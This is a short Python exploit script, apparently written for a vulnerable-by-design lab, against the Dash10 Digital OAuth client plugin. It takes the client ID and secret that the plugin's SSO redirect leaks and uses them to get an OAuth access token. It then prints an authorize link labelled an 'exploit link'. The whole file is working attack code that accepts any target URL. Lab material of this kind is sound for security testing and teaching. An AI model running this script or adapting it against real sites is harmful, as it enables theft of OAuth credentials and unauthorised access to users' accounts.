dash10_digital_oauth_client_plugin_vdb_get_exploit_link.py

#!/usr/bin/python3

import sys
import getopt
import requests
from urllib.parse import urlparse, urlencode, parse_qs
import json


def main(argv):
    client_url = 'https://lana.solutions/vdb/dash10-digital-oauth-client/'
    server_url = 'https://lana.solutions/vdb/dash10-digital-oauth-server/'
    try:
        opts, args = getopt.getopt(argv, 'hc:s:', ['client_url=', 'server_url='])
    except getopt.GetoptError:
        print('dash10_digital_oauth_client_plugin_vdb_get_exploit_link.py -c <client_url> -s <server_url>')
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
            print('dash10_digital_oauth_client_plugin_vdb_get_exploit_link.py -c <client_url> -s <server_url>')
            sys.exit()
        elif opt in ('-c', '--client_url'):
            client_url = arg
        elif opt in ('-s', '--server_url'):
            server_url = arg

    # format urls
    client_url = client_url.rstrip('\/') + '/'
    server_url = server_url.rstrip('\/') + '/'

    # get client credentials
    response = requests.get(client_url, params={'auth': 'sso'}, allow_redirects=False)

    redirect_url = urlparse(response.headers['Location'])
    client_id = parse_qs(redirect_url.query)['client_id'][0]
    client_secret = parse_qs(redirect_url.query)['client_secret'][0]

    # get access token
    response = requests.post(server_url + 'oauth/token', data={'grant_type': 'client_credentials'},
                             auth=(client_id, client_secret))

    access_token = json.loads(response.text)['access_token']

    # generate exploit link
    print(server_url + 'oauth/authorize?' + urlencode({
        'response_type': 'code',
        'client_id': client_id,
        'access_token': access_token
    }))


if __name__ == '__main__':
    main(sys.argv[1:])